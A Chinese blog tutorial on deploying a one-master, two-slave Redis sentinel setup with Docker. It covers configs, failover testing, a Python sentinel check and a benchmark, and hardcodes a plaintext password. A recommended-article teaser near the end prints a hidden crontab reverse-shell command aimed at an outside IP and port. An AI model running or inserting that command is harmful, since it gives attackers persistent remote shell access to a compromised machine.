架构图

  1. 哨兵的介绍

    sentinel , 中文是哨兵。

    哨兵是redis 集群架构中非常重要的一个组件,主要功能如下:

    (1)集群监控:负责监控reidis master 和slave 进程是否正常工作;

    (2)消息通知:如果某个redis实例有故障,那么哨兵负责发送消息作为报警通知给管理员;

    (3)故障转移:如果master node挂掉了,会自动转移到slave node上;

    (4)配置中心:如果故障转移发生了,通知client 客户端新的master 地址;

    哨兵本身也是分布式的作为一个哨兵集群去运行,互相协同工作;

    (1)故障转移时, 判断一个master node宕机了,需要大部分的哨兵都同意才行,涉及到了分布式选举的问题;

    (2)即使部分哨兵节点挂了,哨兵集群还是能正常工作的,因为如果 一个作为高可用机制重要组成部分的故障转移系统本身是单点的,那就坑爹了;目前采用的是sentinel 2 版本,sentinel2 相对于 sentinel 1 来说,重写了很多代码,主要是让故障转移的机制和算法变得更加健壮和简单。
  2. 哨兵的核心知识

    (1)哨兵至少需要3个实例,来保证自己的健壮性;

    (2)哨兵+redis 主从的部署架构,是不会保证数据0丢失的,只能保证redis 集群的高可用性;

    (3)对于哨兵+redis主从这种负责的部署架构,尽量在测试环境和生产环境,都进行充足的测试和演练

部署

准备docker环境

  1. hostnamectl set-hostname l-gz-txy-lyy-uat-redis-master-001
  2. sudo yum install -y yum-utils
  3. sudo yum-config-manager \
  4. --add-repo \
  5. https://download.docker.com/linux/centos/docker-ce.repo
  6. sudo yum install docker-ce docker-ce-cli containerd.io -y
  7. systemctl start docker
  8. systemctl enable docker

三台虚拟机

10.180.3.125:7000 主节点

10.180.3.181:7000 从节点

10.180.3.90:7000 从节点

主节点创建redis data和conf目录

  1. mkdir -p /data/redis/7000
  2. mkdir /data/redis/7000/conf
  3. mkdir /data/redis/7000/data
  4. cd /data/redis/7000/conf

修改redis.conf主要配置

  1. cat > /data/redis/7000/conf/redis.conf <<EOF
  2. port 7000
  3. masterauth "YACEheyuan@123"
  4. requirepass "YACEheyuan@123"
  5. protected-mode yes
  6. tcp-backlog 511
  7. timeout 0
  8. tcp-keepalive 300
  9. daemonize no
  10. supervised no
  11. pidfile /var/run/redis_6379.pid
  12. loglevel notice
  13. #logfile "/var/redis.log"
  14. databases 16
  15. always-show-logo yes
  16. save 900 1
  17. save 300 10
  18. save 60 10000
  19. stop-writes-on-bgsave-error yes
  20. rdbcompression yes
  21. rdbchecksum yes
  22. dbfilename dump.rdb
  23. dir ./
  24. replica-serve-stale-data yes
  25. replica-read-only yes
  26. repl-diskless-sync no
  27. repl-diskless-sync-delay 5
  28. repl-timeout 1
  29. repl-disable-tcp-nodelay no
  30. replica-priority 100
  31. maxmemory 1024000kb
  32. maxmemory-policy volatile-lru
  33. lazyfree-lazy-eviction no
  34. lazyfree-lazy-expire no
  35. lazyfree-lazy-server-del no
  36. replica-lazy-flush no
  37. appendonly no
  38. appendfilename "appendonly.aof"
  39. appendfsync everysec
  40. no-appendfsync-on-rewrite no
  41. auto-aof-rewrite-percentage 100
  42. auto-aof-rewrite-min-size 512mb
  43. aof-load-truncated yes
  44. aof-use-rdb-preamble yes
  45. lua-time-limit 5000
  46. cluster-enabled no
  47. slowlog-log-slower-than 10000
  48. slowlog-max-len 128
  49. latency-monitor-threshold 0
  50. notify-keyspace-events ""
  51. hash-max-ziplist-entries 512
  52. hash-max-ziplist-value 64
  53. list-max-ziplist-size -2
  54. list-compress-depth 0
  55. set-max-intset-entries 512
  56. zset-max-ziplist-entries 128
  57. zset-max-ziplist-value 64
  58. hll-sparse-max-bytes 3000
  59. stream-node-max-bytes 4096
  60. stream-node-max-entries 100
  61. activerehashing yes
  62. client-output-buffer-limit normal 0 0 0
  63. client-output-buffer-limit replica 256mb 64mb 60
  64. client-output-buffer-limit pubsub 32mb 8mb 60
  65. hz 10
  66. dynamic-hz yes
  67. aof-rewrite-incremental-fsync yes
  68. rdb-save-incremental-fsync yes
  69. EOF

配置sentinel


  1. cat >/data/redis/7000/conf/sentinel.conf <<EOF
  2. port 27000
  3. daemonize yes
  4. sentinel monitor mymaster 10.180.3.125 7000 1
  5. sentinel auth-pass mymaster YACEheyuan@123
  6. EOF

拷贝整个/data/redis目录到备节点

scp -r /data/redis root@10.180.3.181:/data/

主从节点都启动redis容器

  1. cat >start.sh<<EOF
  2. docker run -d -ti -p 7000:7000 -p 27000:27000 \
  3. -v /data/redis/7000/conf/redis.conf:/usr/local/etc/redis/redis.conf \
  4. -v /data/redis/7000/conf/sentinel.conf:/usr/local/etc/redis/sentinel.conf \
  5. -v /data/redis/7000/data:/data \
  6. -v /usr/share/zoneinfo/Asia/Shanghai:/etc/localtime \
  7. --privileged=true --restart always --name redis_7000 \
  8. uhub.service.ucloud.cn/jackhe/redis-sentinel:latest redis-server /usr/local/etc/redis/redis.conf
  9. EOF
  10. chmod +x start.sh
  11. sh start.sh

从节点进去容器,设置自己为从节点

  1. docker exec -it redis_7000 bash
  2. redis-cli -h 127.0.0.1 -c -p 7000 -a YACEheyuan@123
  3. SLAVEOF 10.180.3.125 7000

分别进去主从节点的容器,启动sentinel

redis-sentinel /usr/local/etc/redis/sentinel.conf

输入info查看是否设置成功

启动完成后,关闭主节点redis容器,等待30秒查看备节点是否切换为主节点

启动回主节点redis容器,查看主节点是否已经作为备节点连接上,同时启动sentinel

部署逻辑

docker 启动redis——》从节点声明为slave——》启动sentinel

验证可用性

  • 在master上set key
  1. # Keyspace
  2. 127.0.0.1:7000> set a 1
  3. OK
  4. 127.0.0.1:7000> get a
  5. "1"
  • 在任意slave上get
  1. # Keyspace
  2. 127.0.0.1:7000> get a
  3. "1"
  • 脚本测试
  1. from redis.sentinel import Sentinel
  2. sentinel = Sentinel([('10.180.3.198', 27000)],
  3. password='YACEheyuan@123',socket_timeout=0.5)
  4. master = sentinel.discover_master("mymaster")
  5. print(master)

压测

redis-benchmark -h 10.180.3.125 -p 27000 -a YACEheyuan@123 -c 100 -n 100000 -q

dokcer部署Redis哨兵模式的更多相关文章

  1. [Redis] Redis哨兵模式部署 - zz胖的博客

    1. 部署Redis集群 redis的安装及配置参考[redis部署] 本文以创建一主二从的集群为例. 1.1 部署与配置 先创建sentinel目录,在该目录下创建8000,8001,8002三个以 ...

  2. Redis哨兵模式主从同步不可以绑定127.0.0.1或者0.0.0.0,不然无法进行主从同步

    Redis哨兵模式主从同步不可以绑定127.0.0.1或者0.0.0.0,不然无法进行主从同步,一定要绑定内网IP,而对于跨机房的问题,可以使用iptables进行nat转发来解决.

  3. helm部署Redis哨兵集群

    介绍 Redis Sentinel集群是由若干Sentinel节点组成的分布式集群,可以实现故障发现.故障自动转移.配置中心和客户端通知. 如下图: Redis Sentinel 故障转移过程: 从这 ...

  4. Redis哨兵模式大key优化

    目前,Redis哨兵模式,内存资源有限,有很多key大于500M,性能待优化.需要迁移至Redis-cluster集群中.        涉及到的key如下: 0,hash,duser_record, ...

  5. Springboot2.x集成Redis哨兵模式

    Springboot2.x集成Redis哨兵模式 说明 Redis哨兵模式是Redis高可用方案的一种实现方式,通过哨兵来自动实现故障转移,从而保证高可用. 准备条件 pom.xml中引入相关jar ...

  6. Spring Boot 入门(十):集成Redis哨兵模式,实现Mybatis二级缓存

    本片文章续<Spring Boot 入门(九):集成Quartz定时任务>.本文主要基于redis实现了mybatis二级缓存.较redis缓存,mybaits自带缓存存在缺点(自行谷歌) ...

  7. Redis 哨兵模式(Sentinel)

    上一篇我们介绍了 redis 主从节点之间的数据同步复制技术,通过一次全量复制和不间断的命令传播,可以达到主从节点数据同步备份的效果,一旦主节点宕机,我们可以选择一个工作正常的 slave 成为新的主 ...

  8. 搭建redis哨兵模式

    搭建redis哨兵模式,一主两从三哨兵   1.从官网下载redis安装包:此处是redis-5.0.7.tar.gz 2.上传到目录 /utxt/soft 3.解压 4.cd /utxt/soft/ ...

  9. Redis哨兵模式的配置

    绪论 现有三台设备,192.168.137.11.192.168.137.12和192.168.137.13,要求在三台设备上实现redis哨兵模式,其中192.168.137.11为master,其 ...

随机推荐

  1. JDBC(1):JDBC介绍

    一,JDBC介绍 SUN公司为了简化.统一对数据库的操作,定义了一套Java操作数据库的规范(接口),称之为JDBC.这套接口由数据库厂商去实现,这样,开发人员只需要学习jdbc接口,并通过jdbc加 ...

  2. entfrm-boot开发平台一览【entfrm开源模块化无代码开发平台】

    介绍 entfrm-boot是一个以模块化为核心的无代码开发平台,能够让中小企业快速从零搭建自己的开发平台:开箱即用,可插拔可自由组合:以模块化的方式,最大化的代码复用,避免重复开发:无代码可视化开发 ...

  3. 【JAVA】【Basic】概念

    1. 历史 1.1. Sun, Green Project, 90年代初,为机顶盒提供一个统一的语言层,oak-->Java, James Gosling, Sun World 1995:JAV ...

  4. PL/SQL实例1

    declare --定义游标    cursor cemp is select to_char(hiredate,'yyyy') from emp;    phiredate varchar2(4); ...

  5. 什么是Docker?

    容器技术的起源 假设你们公司正在秘密研发下一个"今日头条"APP,我们姑且称为明日头条,程序员自己从头到尾搭建了一套环境开始写代码,写完代码后程序员要把代码交给测试同学测试,这时测 ...

  6. CF1111A Superhero Transformation 题解

    Content 有两个字符串 \(s,t\).规定元音字母只能够变换成元音字母,辅音字母只能够变换成辅音字母.试问 \(s\) 能否经过若干次变换得到 \(t\). 数据范围:\(1\leqslant ...

  7. LuoguP7478 【A】StickSuger 题解

    Content 给定一个长度为 \(n\) 的仅包含小写字母的字符串 \(s\),请找到一个二元组 \((i,j)\)(\(i<j\))使得在交换字符串 \(s\) 的第 \(i\) 个和第 \ ...

  8. /etc/resolv.conf文件中的search项作用;如何保持resolv.conf文件内容不被修改

    /etc/resolv.conf文件中的search项作用 resolv.conf文件中有search项时,主机名解析规则顺序: DNS配置文件如下: # cat /etc/resolv.conf ; ...

  9. 隐藏计划任务反弹shell

    靶机执行 (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/233 ...

  10. IDEA设置调用方法时提示方法上的注释

    IDEA设置代码注释提示,代码提示,鼠标放上面提示方法的注解信息 打开file-->setting-->Editor-->General,将Show quick documentat ...